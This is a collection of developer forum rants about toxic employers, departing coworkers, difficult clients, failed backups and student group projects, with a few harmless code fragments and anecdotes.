Reason why, I'm unhealthy for the company and the company is unhealthy for me (not because I'm a bad dev, cool I guess). I don't disagree (a lot happened while he was gone, but he doesn't really know what happened) but this happens after I have a "discussion" with him about how I don't know how to prioritize my work anymore with new policies regarding billables and pms and management pushing me in multiple directions in regards to what I should be working on. (There's more to this but I'm trying to finish this rant eventually.)
I'm not surprised but I'm pissed at the company for never really improving and I'm pissed at him for drinking the kool-aid so to speak.
I want this company to fail. I'm surprised it hasn't. The place was a shit show when it came to the Dev department and my old mentors return didn't help much either.
I should get over it and move on but this place was like a toxic relationship I couldn't bring myself to leave (as much as I wanted to leave and knew I should). And there's so much to unpack with this place.
I'm hoping dev rant can be a good place to unpack the shit I dealt with there over the years so I don't burden my friends and family with my thoughts.
So yeah, hey ya'll and welcome to my rant(s).

Boss left. Now I'm the only c# developer left to maintain 137 projects at this company. I woke up to a flood of emails with 3 requests and 2 applications breaking because he was a shitty programmer and didn't understand layering and design patterns and unit testing. Fucking dear God help.

When 3/4 of my team gave up and left halfway through. I still don't understand how we ended up with a working prototype in the end.

Decided to upgrade my hardware a day after wk119 ends. Oof. I'll post an update once the first part (monitors) arrives, but here's a before pic in the meantime.

Monitors: 3 different brands at 3 different sizes/resolutions. Left to right: 1920x1080, 1680x1050, 1440x900.

Mic: Neewer NW-800 with a U-PHORIA UMC22 interface.

Keyboard: A DIY Nyquist kit from keeb.io with Canvas XDA keycaps.

Rubber duck: I prefer a fuzzy kitten.

3 years ago I started my computer science bachelor's, during this time I thought that I would finish my 3 years and get a job as soon as I'm finished, I was certain that I would never study any advanced programs.
I was also told from my seniors that only an 8'th of all of us that started will get a degree on time since half quits the first year, half of what's left quit the second and half of what's left the third year will get a job before finishing

3 years later, not only did I get my degree on time , but I am now studying for a masters...

Moral of the story: never say never || life is strange || you can't plan ahead in life

I spent the last 3 months trying to hire new developers for my team. I found someone experienced who is great and a graduate, who is, well, a graduate.

For some reason he thinks he knows everything about our framework he has never used and seems to think he knows how everything works in our codebase which he has never seen.

That’s fine. I’ve had my share of cocky developers.

But what confuses me is that when I ask him what critical bugs are left, he reels off two significant ones. I ask what it will take to fix it. Of course he says he knows how to fix it. So I say great. Then fix it and let’s move on to a more fun part of our project.

Suddenly he didn’t know where he problem was and so I told him he had to investigate and come back with something concrete.

It’s just frustrating managing this developer who is deceitful.

I had forgotten why I hated GoDaddy so much.. until today. It all came back to me.

I have been a GoDaddy customer for over 5 years now. Last year I tried out Namecheap for the first time because someone who was sending me a domain asked me to create an account on NC.

A couple of days on NC and I fell in love with the support and pricing. I started transferring all my domains to NC over the year. (30+)

Now I was left with 3 domains, 1 of them was to expire 4 days ago. but 5 days ago, GoDaddy switched it to pending mode, barring me from transferring to domain or changing any details.

today I called GoDaddy and after a loooong chat, they fucking forced me to renew my domain!! Saying that I need to renew the domain before I attempt to make any more changes!!!

FUCK YOU GODADDY! THIS IS WHY I NEVER SEND CLIENTS YOUR WAY!!!

And this, ladies and gentlemen, is why you need properly tested backups!

TL;DR: user blocked on old gitlab instance cascade deleted all projects the user was set as owner.

So, at my customer, collegue "j" reviews gitlab users and groups, notices an user who left the organisation
"j" : ill block this user
> "j" blocks user
> minutes pass away, working, minding our own business
> a wild team devops leader "k" appears
k: where are all the git projects?
> waitwut?.jpg
> k: yeah all git projects where user was owner of, are deleted
> j.feeling.despair() ; me.feeling.despair();
> checks logs on server, notices it cascade deletes all projects to that user
> lmgt log line
> is a bugreport reported 3(!) years ago
> gitlab hasnt been updated since 3 years
> gitlab system owner is not present, backup contact doesnt know shit about it
> i investigate further, no daily backup cron tasks, no backup has been made whatsoever.
> only 'backups' are on file system level, trying to restore those
> gitlab requires restore of postgres db
> backup does not contain postgres since the backup product does not support that (wtf???)
> fubar.scene
> filesystem restore finished...
> backup product did not back up all files from git tree, like none of refs were stored since the product cannot handle such filenames .. Git repo's completely broken

Fuck my life

When I was at university in my last semester of my bachelor's, I was doing a game programming paper and our last assignment was to group up and make a game. So I go with one of the guys I know and this other dude since his previous game was really neat. Then two randoms joined that from my first impressions of their games wasn't much at all (one guy made four buttons click and called it a game in Java when we had to make games in c++ and the other guy used an example game and semi modded it.

Anyways we get to brain storming, totally waste too much time getting organised because the guy that volunteered (4 buttons guy) was slow to getting things sorted. Eventually we get to making the game and 4 buttons guy hasn't learnt how to use git, I then end up spending 3 hours over Skype explaining to him how to do this. He eventually learns how to do things and then volunteers to do the AI for the game, after about a week (this assignment is only 5 weeks long) he hasn't shown any progress, we eventually get to our 3rd week milestone no progress from him and the modder, with only three classes left we ask them both to get stuff done before a set deadline (modder wanted to do monsters and help 4 buttons with AI) both agreed and deadline rolls up and no work is shown at all, modest shows up extremely late and shows little work.

4 buttons guy leaves us a Skype message the day of our 2nd to last class,, saying he dropped the paper...

Modder did do some work but he failed to read all the documentation I left him (the game was a 2d multiplayer crafting game, I worked so hard to make a 2d map system with a world camera) he failed to read everything and his monsters used local coordinates and were stuck on screen!

With about a week left and not too many group meetings left we meet up to try and get stuff done, modder does nothing to help, the multiplayer is working my friend has done the crafting and weapon system and the map stuff is working out well. We're missing AI and combat, with our last few hours left we push to get as much stuff done, I somehow get stuck doing monster art, AI is done by the other two and I try to getting some of the combat and building done.

In the end we completely commented all of modders work because well it made us look bad lol. He later went to complain to my free claiming I did it and was a douchebag for doing so. We had to submit our developer logs and the three of us wrote about how shitty it was to deal with these two.

We tried out best not to isolate ourselves from them and definitely tried to help but we were swamped with our other assignments and what we had to work on.

In the end leaving and not helping right when the deadline is close was what I call the most shittiest thing team mates can do, I think sticking together even if we were to fail was at least a lot better.

A box with 20 blotters of LSD, a bottle of Tawny Port, some rock climber's hand strength training clay which is great against RSI, a very undomesticated purring feline, some leatherworking tools (making a new folding case for my phone), 2 sesame bagels with cream cheese, a piece of cherry wood, two routers (one woodworking, one internet), one Ducky Horizon and one ErgoDox keyboard, two boxes of baby wipes and a bottle of formula, an expired ticket to a corona-cancelled concert, my sleeping newborn daughter wrapped in a black hoodie, a bottle of cognac, 3x 1440p displays, a chunk of chocolate, one freshly brewed cortado, a bottle of dimethylsulfoxide, 3 laptops, a TV remote, a glass of water, and one bolt which was left over from an IKEA box but I'm unsure which furniture item it belongs to.

Kinda rant, kinda not.

At the start of this year all of my colleagues left company beacause of low raise. This process took like 3 months. After that I automatically became most senior in our team with 8 months of experience in my current company and 3 years total. It was rough days and still is. One downside is some days I can't even touch my own development tasks. Sometimes I ask for other developers help and assign them tasks. I'm evolving into team lead I guess. Yeah, more like junior team lead. But after few weeks I got a call from our cto and he told me they are raising my salary even I had a raise just 3 months ago. And he told me it will be raised again soon. Even my workload increased I'm still kinda having fun. I think its a bit early for me to be good at this role but I'm learning how to manage people :) Well, at least I got a raise

So...Worked my butt off to have a website developed by a certain date client and I agreed on. Finished the site 3 weeks ago and sent dev link. Client has been completely silent; unreachable by email (I sent 5 in past 3 weeks) and phone (left 2 voicemails and a message with his receptionist today). In ALL five emails I told him I needed the email addresses he wants used to route his sales leads to...Got nada.

So today I seen that the lead forms have been tested on the website. Dude can't get back to me for 3 effing weeks, BUT can test his lead forms.. You know, without the lead email addresses that i asked for 5x. Ugh, idiot!!!

I have had this job for 2 years - my first real job. It has been very very stressfull for the last 6 months and it feels like everything is falling apart in the company. It's a small work place with only 6 people in total.
A week ago my boss wanted a meeting and I got a feeling on what the subject may be. I was right about my thought. I was being fired because he feels like everything is falling apart mainly because of me. Though, I don't feel the same way, I think more it's the whole team that failed.
But the most weird part. I'm getting fired, I then have 3 months left, though, he says that I can in those 3 months show my value for the company, and if he thinks that I again have value, I can stay.

Who the hell fires an employee and right after says, you can stay if you prove your value? I don't really feel welcomed here anymore.

My motivation have drastically fallen the last week and I'm just sinking more and more. Maybe it's a good thing to get away and get a new job that values me and doesn't stress me the hell up.
I've been the only developer for over half the time here and I can feel that.
I just had to get out with this, so thanks for reading my small rant about my shitty life :)

At the beginning of April there were 9 of us in Ops, come May there will only be 3 of us left. :/

They've left because they disagreed with some the CTO was trying to do and he fired them, or just because they hate him. Every week it's a new game of "Who's going this time?".

< !-- features request -->
1) I think we should have a left swipe menu open action.Every time I want to open menu I have to go left top of screen.
2) preview of attached image if possible
3) Open images in posts directly without going into post and then image
4) auto play gif !??
5) Make rant favourite without going in ? Like a star symbol I suppose !

Just few thoughts ! Happy ranting ...😊

A recruiter emailed me.
And called me (and left a voicemail).
AND texted me.

About a job opportunity in California (I live in Texas).

That requires experience writing performance critical and thread-safe code in a large multi-threaded codebase (I work primarily in JavaScript/TypeScript ecosystem, fat chance of that).

Responsibilities listed as: Focus on Supercharger Open Charge Point Protocol (OCPP) software features. I don’t even know what the fuck that means.

Opportunity is for a 3 month contract.

Why are you so desperate, lady?

One of my coworkers just had a baby, so he left work today and won't be back for a month or more.

We (accidentally) took the client's website down for 3 hours, messed up our git repo and when we finally fixed both things, I had to spend the rest of the day editing fucking vector graphics (which I had never done before and completely suck at).

I never realized how much work this guy does or how important he is until now.

I hired 2 fresh out of school junior devs to work with me on my old web app.
They were brilliant, knew a lot of things, and were motivated.
They started complaining about how the code was shit, the db was shit, there were no best practices, the technology was old, bug fixing was boring, no comments in code.

I felt bad, very bad during 3 years, because they were absolutely right. I tried to work with them through better coding practices, rewriting, documenting etc.

Now they both have left.
I'm alone maintaining and evolving the application.
And I start to come across the code THEY developed.

What a bunch of shit. SQL queries bringing down the server. Duplicate code, because they didn't want even read the old one. Useless comments.
Performance killing functions. Exceptions swallowed without mercy. I have to clean up they poop.

I feel somewhat better, though. The application is still growing and holding the ground after many years and generating at least 800K$ per year in revenues.

Maybe better, but sad. I really wanted to share the project with somebody else but I failed, and I'm left alone....

So I reach office early , bcz I like to have sun left when I go home.
Other devs arrive almost 3-4 hours after me. And when it's time to leave,
They : you leave so early
Me : yes you ahole. I come early too.

And then they get credits for staying long I'm like yeah if you come at 12-1 you have to stay back.

So fucking frustrating.

- Be me
- Been in a new job for 2 months
- Was excited because of 50% salary increase and better position

- Have a new team of 6 devs including me. All new guy
- Market crash
- Top management demands a trim down to all divisions
- Will be left to 3 devs next month

- All the while being asked to
- Deliver a shopify like marketplace from end to end
- Deliver integration with partners for data inventory tracking
- All within 2 months

- Furious when target is not met
- Demands a micro management to every single person on the team on what their day to day schedule
- Demands everybody to live by hustle culture and ready to work non stop even nights or weekend

- Be me
- Been working non stop for at least a month
- Sacrificed weekends and holidays

Beginning to think that maybe the money and position isn't worth the hassle

Background: Since last 3-4 months, was working with a senior engineer remotely on a project.
Present: Currently, I am Out of Office and yesterday late night, I opened my official mail and after sometime I got an email with subject: GOODBYE!

It was from him. The same senior engineer with whom I was working. I thought it was a joke. But people don't joke when they send such emails to a huge group of people.

I never knew he was going to leave so soon. I wanted to learn so many things working with him. I used to ask him the silliest doubts ever.
I still wonder why he left the company. I have so many questions to ask him.
I am sad. I am feeling left alone.

It's awkward that today, this very moment, I can't ping him anymore forever.

It's obvious to be more professional and such things are normal.
But, I am fresher and my first project was with him. So, it's kind of tough for me too.

I know this will help me to grow up stronger and teach me that time isn't constant and we need to always be ready and use the right time preciously and deal with the "constant change".

And also, wherever he goes, my best wishes to him and I hope I will meet him some day.

!Rant

My boss just gave me a task "deploy this project today".
1. Made by a junior dev, and I have to take responsibility to upload it in this short time (no blame to jun dev, she's new and need to practice)
2. In a crm that I personally never used before, I need to study it and adapt at least the paths
3. Task was given at 13.48 during lunch pause.
But
But
The best is yet to come
Wait

.
.
.
.
.
.
.
.
.
.
Ready?
4. He doesn't know the server where to deploy it!
No one knows.
The IT doesn't answer, but still, I have to deploy a project TODAY (2h and 47 minutes left eob).

I scored a GBA sp (with Super Mario Bros 3) at my local Goodwill today for $20. I always wanted one as a kid, but I almost didn't get it cause some asshole found it first. I saw him fumble with it for a solid 3 minutes before he could get it to turn on. Finally he put the cartridge in the right way and flicked the power switch. I thought it was all over. At that point the dumbass realized it worth something but instead of buying it HE HID THE GAMEBOY AND LEFT. I wasn't going to wait for him so I bought it myself 😂.

In an application that everyone in production floor used... I made some "improvements"... Next I know I get tons of tickets because is really slow... Like 20 minutes waiting and it doesn't load... I try with my user in their computers and it loads instantly... Puzzled... After trying in many computers my user loads instantly... Oops... I left a if(user = "me") skip all active directory checks 🙄... Made all production floor lose about 3 hours 😆 because I didn't believe 😛

A man's best friend is a Martini when you realize the college semester begins again at your birthday, and you're turning 29 that month with a year left before graduation. Fuck college. FML.

Yes, I'm writing this after having 3 martinis. My code can't pawsibbly go wrong tonight. Being a little tipsy is awwwwweeesome. :D

>work on multi million dollar company
>last year "we were doing fine" until we got told "well, turns out we didn't, no bonus this year"
>people leave
>You'll get a bonus next year for sure
>Company cuts expenses such as training budgets and freezes raises and promotions
>People still leave
>There are whole teams that are now left with 1-3 people, lol
>Turns out we will not get any bonuses this year either, except for "the high achievers", but they have not announced it yet
>high achievers include the evp of engineering who single handedly destroyed the company's DevOps department last year and an EM/engineer who is completely incompetent as both an engineer as well as a manager, so much so that the company has made him his own 1-person-department so that he doesn't have to work with other people
>Upper management keeps telling us everything is going fine and they suck each other's d**k

This is like watching a trainwreck in slow motion lmao.
I'll stay till they announce this year's bonuses to watch the shit show and then I'll leave

last day, 1 h 50 minutes left

now they ask about passwords, how is it with the backups and so on.

Well told him 3 months ago that the backups is on my server at home and I will remove the backups today ...

Management Double standards...
At a previous employer, the manager had me doing some QA testing for a updated version of some customer facing UIs. I spent 3 days constantly testing, except for my lunch break.
Every bug that I found I sent to a Sr dev.
Now this Sr dev was a coding savant. I mean awesome coder, but he had the personality of a rat and snake combined. If he wasn't coding he was brown-nosing the manager, talking about how he was doing all the work, or trying to rat on us other devs.
Anyway this dev has spent the 3 days of bug fixing alternating between watching videos and fixing bugs. Don't know what the videos were, don't realy care. I do know that he did not like to be disturbed while watching them...
On the third day, on my lunch break, I decided to watch two fifiteen minute videos on VSTS feeds and linking node packages.
As soon as I started Sr dev came over and asked me if I was focused on the teams priorities. I told him that it was my lunch break and since this was related to an upcoming sprint I thought it was worth it.
This S.O.B. goes full out hissy fit. He was flat out throwing a tantrum like my small daughter would. He made such a noise that my manager walked over and asked what was going on.
This shitbag Sr dev smirked at me and asked to speak to the manager in his office. When the manager called me over I knew what was up. I was lectured on not focusing on the teams priorities. I tried to explain that the videos were relevant to an upcoming sprint but was shot down. When I brought up the fact that the Sr dev was watching videos, the manager told me flat out that he didn't care. I was mad and told the manager that this was bullshit. All the manager cared about was keeping the Sr dev happy. I was told to "treat <shithead sr dev> with respect or else".
It was at that time I decided to look for another job. Less than a month later I left, for a much better paying job with awesome benefits. Sr dev acted like he was hurt I was leaving. Manager couldn't have cared less.
When some others on the team heard what he did, they started looking for work elsewhere too.
A month after I left another Sr dev on the same project left. At the same time a BA and QA tester demanded to be put on another team or else they would leave.
Manager started out with a team of 6 was left with only two people.
When the last one left, manager had the nerve to ask me why I didn't let him know anyone was unhappy. I told him if he cared so little for me, why would I think he care about them.
Ultimately, leaving was one of the best things I could have done.

Every single time a cool electronic device comes out, that connects to an API. The nerd in me can’t resist getting on a 3 month waiting list to get said gadget. I impatiently wait. I get gadget. It’s usually cool but never as cool as the marketing made it seem….thats not the rant yet.

Within 2 year the company is gone and i’m left with a $500-$1,000 paperweight that doesn’t work anymore.

This has happened to every single device I have bought that wasn’t from a billion $ company.

These companies would rather screw everyone over instead of simply making the backend of product open-source so people that use the product can at least try to get it working again.

My 1st rant. Sorry in much better in real life at bitching about things 😎

Working with a client on his "superior idea" and suddenly this happens: (longer rant)

tl;dr;
Client wanted me to move a div by 3 millimetres to the left and blamed me for not being capable of doing so while giving him a nonsense about different resolutions and screen sizes. (Use a ruler, DUH)

Me: Here's the updated design layout as our designer specified.
Him: Looks good but it needs to be moved 3 millimetres to the left
Me: *Confused as hell* - Wait, did you just said 3 millimetres?
Him: Yes, is that a problem for you?
Me: *Amazed* Well, yes, you see, we don't measure in millimetres. We use pixels.
Him: Ahh, can't you do anything right!? Why do I have to deal with your nonsense of telling me that this is not impossible? Just take your god damn ruler and put it on your screen, then move it 3 millimetres to the left.
Me: You do realise that every person has a different size/resolution monitor so it won't work?
Him: I don't care. Just do your god damn job or i'll find someone else to do it.
*
Story continued in such manner - we spent an hour on skype moving the stupid <div> around until it hit his 3 millimetres mark.
*
His: See, you could do it.
Me: *Sends him screenshot of my own screen (his was 1024x768, mine 1920x1080) where page is broken and not aligned*
Him: Oh come on, you break every god damn thing. You are the worst. I'm going to find a better one. *hangs skype call*
Him: *3 days later* Hi, so, umm, I've talked to other developers and they said it's impossible to measure in millimetres. Can you revert those changes we did?

After all this I've fully realised that this person is sits at computer very rarely and does not how it even works...

Maybe not worst, but most frustrating. One of the systems I helped maintain at my first job had a few different bugs that caused bad data in the database. The "solution" to the problem was to write SQL queries to directly fix the production data. This would take one member of our team (it rotated weekly) about an hour every day to fix because there were literally dozens of these errors.

All the devs knew that we could identify the root cause and fix it in, probably, 3-4 days tops. Management would never approve the time because it would take longer to fix the root cause than it took to fix the data.

I worked at that company for 7 years. The bug was there when I came on, and it was there when I left.

it's so fucking hot in here and I've got no work and still 3 hours left to go...just let me go hooome!

Next 3 days I' ll be working on moving our email server to new server because the old datacenter is closing down. Clients are pissed and they are fucking verbally bashing me left to right when I told them that their emails will be down since most of them host their own DNS.

I am fucked.

My tech lead (or senior). I had been unmotivated with my dev life until I joined their team. He lit the fire in me by inspiring me and challenging me with my work. Sadly he left the team after 3 months but I'm thankful because he saved me from burn out.

100% random on this one BUUUUUUUUUUUUUT...

I currently have a minecraft server up and running but everyone I work with seems to have left it and I seem to be the only one on now...

If anyone is interested in joining the IP is minecraft.lxmcf.com and it's a vanilla 1.14.1 server with a few datapacks :-3

(PS it's only a 2GB server so please be gentle)

Edit: should also note it's the java edition

Oh boy, my stuff got delivered. Can't wait to get home from school, too bad I still have 3 hours left...

> See unintelligible error from stuff that used to work and now it doesn't
> Ask colleagues if they ever met the error
> Fucktard colleague says "try using the debugger, if you run the code line by line you may probably understand what's wrong"

Dear Fucktard, I've been writing code for 7 years now, you can safely assume I know how to use a debugger if need be.
The thing: when I ask "have you ever met this error" I'm asking if you actually know what's going on, BEFORE diving in a 3 hours long debugging session of code written 6 years ago by people who have left the company in the meantime.

You don't always have to say something. Sometimes it happens: you may not have anything clever to add, and a simple "I'm sorry I don't know" is perfectly fine.

An infinite number of Rubber Duckys typing randomly on an infinite number of keyboards will eventually create half life 3.

Also, a single Rubber Ducky typing randomly on a single keyboard, left alone and unobserved has both created half life 3 and not created half life 3 at the same time.

1) Read the wiki on git. I probably have enough shorthands and test methods that you won't need much other shit to debug issues.

2) when debugging, remember that if it is there, there's a good reason why I put it there.

3) commented-out code is probably useful for maintenance. I left it there for a good reason. 😛

4) chances are whatever I wrote, was the state of the art at the time I wrote it. There might be better ways to do it now tho.

5) I always work modular. First, understand the structure. (probably also documented on wiki) DO NOT fuck up the structure. If you change it, you document it.

6) If you feel I wrote shit, it's probably because management annoyed the living shit out of me. Pun intended.

7) Your confusion is normal. I don't do dumb shit.

I hate myself sometimes.
I wasted 45 minutes in a 2 hour coding competition... Because I forgot to multiply a number by 3.
Now I'm sad because I got a bad rank due to that wasted time, making me unable to complete the next level because there was not enough time left. :(

In a programming exam, we had to write a program in 60 minutes, part of which was sorting some strings by length (strings the same length had to be in the same line)... I had like 3 minutes left, so i wrote this beauty:

boolean b = false;
for(int i = 0; i <= 999999; i++){
for(int j = 0; j <= strings.length; j++){
if(i == strings[j].length()){
System.out.print(s + " ");
b = true;
}
}
if(b){
System.out.println();
b = false;
}
}

How I solve complex problem during development.

1. I left my machine with all the thinking and start to think of another activity.

2. Start another activity I like specially a physical one like playing a game, jogging or just walking.

3. Then after I am fully involved with this activity I start to think of different scenarios of the problem I was trying to solve.

4. Eventually, different solutions came to my mind and I evaluate them one by one with respect to my problem.

5. I finalize a couple of solutions based on the evaluations.

6. Rush to my machine and start implementation to see if it work.

PS: During all these thinking I will be terrible at the activity I am doing.
Loop again if It didn't workout.

I got cut from a contracting job yesterday I have 3 weeks left in the contract. They said I worked well with the team, had a great work ethic but didn't think I had strong enough tech skills. In the past this would have hurt my feelings and it does a little but I think my tech skills are fairly high. There were three devs working on 66 apps with no tests, some source control but most of the code in source control was older than code deployed in prod, no automatic builds, people would wait a week before checking in code, others would check in code that would not build. Today the boss asked if I had messed with app pools on the prod iIs server because something was wrong. I said no because never remote into the server. Anyway it is the end of the world and I feel fine.

After working form home for over 18 months now, I start reprioritising things.
I relocated to Ireland almost 3 years ago and I love the people, and country.. but..
The government is a new level of incompetent, selfish (politicians) and clueless. Unlike any other EU government I’ve ever seen.
To this day I’m not allowed to leave the country to see my family. I don’t know many people here because most of them already left so that sucks.

Although my company is great, we got a new female CEO which (just my impression) feels like she gotta prove herself to the world and the company is falling apart since she took over. Seniors leaving on a weekly basis and new managers and grads get hired.

I could go back to the country I grew up in and make my 110k a year (which is a lot in Europe) and I could be close to my fam during covid shit. But I told myself to never go back there because I hate that place..

I’m seriously considering leaving the country I love to go back to the country I hate, make good money for 2-3 years and then come back.. but when thinking about going back there I could cry..

It’s fucked up but COVID makes me consider it..

If I could I would buy a cheap farm somewhere and go off grid 😅

Looking back on my Christmas holidays while waiting for my train to come.
I wrote my last exam on the 22, took the train home on 23, spent Christmas and the 25 with my family, searched for a new apartment for 3 days, had two days left to do an assignment due to the 30, was packing till 3 in the morning today and will have my first day of work tomorrow. (Yeah, I spend new year's Eve home alone and completely sober...)
I wonder when I will have an entire meltdown and become some Joker level psychopath... Also happy new year everybody 😁

The bathroom in the building where I sometimes VPN from installed motion activated lights. The sensor does not “see” inside the stalls. Unless someone else enters the room you have about five minutes to perform all acts or the lights will turn off.

Then you are left with options:
1) finish all paperwork in the dark
2) finish all paperwork with your phone’s flashlight.
3) Open the stall door and wave to enable the light.

When I got the current job I started to work on an Android app that a coworker which left the company was doing.
The app was ready at about 40% and was barely usable, it lacked a lot of features and multithreading so with a huge amount of data it used to crash (Android doesn't allow you to make the app freeze for more than 2-3 seconds, it considers that the app is not responding anymore).
After a week or two the work to do was still huge, but one day one of my coworkers came in and ask me if I was able to release a beta for a client the same day... Unexpected deadline.
I spent 8 hour fixing as many bugs as possible and adding multithreading in the most weak parts.
I did it but it was so stressful and the result wasn't even great. In fact I finished the stable version 7 months later.

my temper has improved a lot, but around high school i had a really short fuse. we were doing a programming homework and i really blew up with this guy.

the day before the deadline i couldn't finish the work (that i was doing solo), because i had a violin recital. i told the other 3 to finish it, it was very simple stuff. i got at school the next day, they hadn't done what i asked, and this asshat meddled with what i had done, so i had to fix his changes to my code and implement what was left an hour before class. i really gave him a piece of my mind, i was super pissed, and my friends were super awkward because I'm usually a quiet person, and it's scary when i get angry for real.

I'm currently in the progress of deleting whatsapp and migrating to signal.
The hardest part of it is dealing with friends and family. I informed them about the incoming whatsapp-deletion tomorrow and the results were mixed. One friend told me she will not use signal, but i haven't talked with her that much anyway so... My mother asked me "can you not do this because i don't have space left on my phone?", my father told me "can you tell me about [...] before you go offline?", 2 people don't seem to care, and only my cousin contacted me on signal yet.

I have signal for 3 years now and even invited people to it, but i got the expected response "but all my friends are on whatsapp". Until recently i was the one with the shitload of messengers on my phone but some people can't be bothered to install a second one because i want to take one step (out of many to follow) to widen my privacy.
I'm really pissed by now and will declare any contact lost due to this as collateral damage.

Had a burnout at my last job when I worked myself to the bone to cope with stress, a failing relationship and not having much money. Also, made a crap ton of mistakes at work because of it.

Didn't sleep much, started skipping lunch to save what little money I had so I could commute (friends treated me every now and then, still grateful), dropped out of college because couldn't juggle work, studies and got chewed out by my family every day and just worked non-stop.

The end result was that I collapsed when I got home one night and woke up at 3 am with a severe migraine; stayed awake till sunrise then left for work again (got scolded really badly by everyone, felt loved). Fun times.

About 3 years at a job I worked at, management moved my work desk right next to the toilet.

I had enough. I got up, packed my things and left the office without saying anything to anyone and got another job a week later.

Have you ever quit on the spot? If so, what was your breaking point?

I recently started working on a 3 months old project, that was outsourced to two Indians genius. One of them left just before I arrived.

I had the chance to discover those guys were not using any version control system, just exchanging a zip file. I don’t even talk about the codebase, never seen such a mess …

Even better the project managers, were not using any IT program to follow the project advancement, but just Excel!!!

After a few days I realised that the remaining dev was not committing anything, the guy was always lying, (so many people died around him + some emergencies)

So, the guy got fired, but don’t worry management found new genius to save the project 🙂

Can someone tell me if outsourcing is really working?

So I need to ask this because I've never experienced it.

Recently many of my colleagues left for greener pastures and now they're posting on linkedin once a week with some bullshit about how awesome it is to work wherever they went.

If this was one or two I wouldn't care, but it's like 90% of them vomiting this blatant brain-swill for almost 3 months now.

My suspicion is that these people are being coerced into posting this garbage. Am I correct that many companies these days are doing this now?

I am just sick of the things that's been going on.

Joined a mid level startup as full Stack developer working on angular and node js . Code base is too shit and application is full of bugs(100+ tickets are being raised for bugs)

Since the product owner(PO) wants to demo the application he is pushing for bug fixes.

UI code:
1. Application is not handled for responsiveness all these years, it is now being trying to address. Code base is very huge to address though .
2. The common reusable components of UI has business logic inside. Any small change in business logic we are forced to handle in common components which might break up on another components.
3. Styling in 40+ components are made global. Small css change in component A is breaking up in component B due to this
4. No time to refactor.
5. Application not at all tested properly all these years. PO wants a stable build.
6. More importantly most of developers have already left the company and we are left with 2 developers including me.

I am not in a position to switch due to other commitments adds up a lot to frustration

Today on incompetent profs & classmates...

Dumb student forgets to exit vim and rewrites program 3 times before calling d prof
for help

I ask the prof for approval to use an IDE or a text editor in lab and she has no clue what an IDE is. I installed atom just as she left.

Another kid fooled into thinking web dev has no future.

Apparently I can't use laptop in class to execute programs as "other students may be at loss" i mean wtf that's their fkin problem why do I have to suffer.

Student questions unix prof about the file size limitation in fat32. She had a poker face.

Prof gives "hello world" program to sophomores. Nice.

I used to do some freelance work for a nonprofit. I’d do some website stuff and gallery sitting.

My friend was the gallery director. When she left, I decided to stop freelancing there and I dropped off the keys with the new director. I told them they could contact me later if they have questions about some things I implemented on the website. The new director thinks I’m a random freelancer and starts to BADMOUTH MY FRIEND, the former director.

Over a year later, the gallery assistant emails me asking about SSL warnings and cc’s the new director. WTF.

1) Those warnings were happening long before I left and long before I even started. 2) I am not your website support. I only invited contact for things I worked on. 3) The assistant already contacted Squarespace and Go Daddy for help and they gave her instructions.

I told her I didn’t set up their website and it sounds like she has the resources to resolve this on her own and she should contact Squarespace and Go Daddy if she needs more help. After all, you pay those companies for their services support and my time isn’t free.

Step 1. Have no dissertation project.
Step 2. Wait for the last 3 hours till the deadline to come up with an idea.
Step 3. Realise that your just-thought-up project idea is something companies like Google and Amazon are still trying to figure out. But there is no time left.
Step 4: Approach your supervisor with the words "Imagine the possibilities". They respond with "Imagine the difficulty".
Step 5: They sign on it regardless since they are curious to see you fuck up with style, also you are too much in love with your idea already, and refuse to drop it.
Step 6: fml

8:00am I should finish this feature in about 1 hour.
9:00am Am just left with testing it.

12:00pm I should have finished this 3hrs ago.
3:00pm (Calls another dev to take a second look on what could be wrong)
5:00pm I think tomorrow I will be fresh enough to fix this a little quick.

I'm an angular 1 dev...so already you can tell, im a rare bean...i didn't go to university and i left 6th form (college)after 3 months....have a job due to experiences coding. as it was my passion since i was about 12. so all i can say is FUCK U DEGREES,I DON'T NEED YOUR EXPENSIVE ASS,
also this is my first post :)

Why is that when a project deadline has only 2 weeks left, Project Managers starts the project then. Why not start the project when we have 3 or 4 months left for the deadline?

Our Project Manager has this lame attitude that she will start with the sitemap, wire-frame and designing of a website when we have only 2 weeks to the deadline.

What the fuck is going on in here?

All company meeting to discuss plans to move office, and they want to change all of the devs to hot-desking?!

Would be interested in your guys experiences if any of you have done it, but I feel I'd be affected a lot as I only work 3-4 days a week.

I literally stood up and left the meeting, saying I'd quit if they did it. I'm far more comfortable and productive with my setup and space. Knowing my co-workers they might think I'm saying it for drama but I think I actually would leave, despite everything else being fine (except HR!).

>laptop can't handle 3 terminals because cpu is single-core 1.2GHz
>fuck it
stress -c 128 -i 128 -m 16
>second terminal
top
>load average: 272.15, 247.60, 149.80
>CPU is cool after 30 minutes
>how
>picks up laptop from right side
>burned myself
>cpu is on the left under power button, right side has nothing that would get hot???
>takes apart laptop
>second large CPU-like die
wtf.386
>looks up laptop
>floating point/algebraic coprocessor
WHAT

and that was the story all about how my life got flipped turned upside down

what fucking system has a coprocessor after 2002? (My laptop is a 2008 HP something or other)

just spent 2-3 hours trying to make a slideshow responsive for mobiles.

position().left returned an incorrect value breaking the whole thing. then jquery animations slowly produced a one pixel discrepancy when everything is animating based on the container width. breaking the whole thing.

Only solution has been to pretend all is fine.

things that make you want to smash something.

DISCLAIMER: I'm not paid nor have I had any contact with any associates of the following software.

GET FUCKING VIVALDI!!!
This Browser has DAMN NICE MOUSE GESTURES!

You do them while holding right click.
For example right click held and swipe/moving the mouse to the left/right brings you backward/forward.
There are several others and you can make them by your self.

Just browsing anything. IT'S FUCKING DAMN FAST.
INSTALL VIVALDI AND ENABLE MOUSE GESTURES! After aprox 3 Days you won't want to have any other browser anymore.

(Could've just simply said that I love the browser because of that feature. But this is DevRANT!)

! related

So there is this girl in my office from different team. We only talked over emails couple of times. I never got courage to go and talk to her in person. Sometimes I found her looking at me (** i guess**), sometimes she catches me looking at her. Smiles gets exchanged and that's it.

Didn't see her for 2-3 days. Checked in portal, turns out she left company. I'm feeling super bad right now. I can't focus on anything since this afternoon. I know this is not the place to share it, but I don't have anywhere else to share this...

Faaaakkkkkkkkk
Faaaccccckkkkkkkkkkkkkk

I could've tried...

My shyness kills me more than anything else in this world.😞

Accidentally dropped my Pixel 3 this morning, which I bought just a week ago. 😭 And now there's a visible crack on the back of the lower-left corner. 😭 Thought that was the only one until I inspected my phone again and noticed a long, fine crack along the back... 😭😭😭

Man, whatever happened to the days when it was PHONES that smashed walls and floors instead??

And in case you're wondering, yes I have bought a case for it--still waiting for it to arrive...

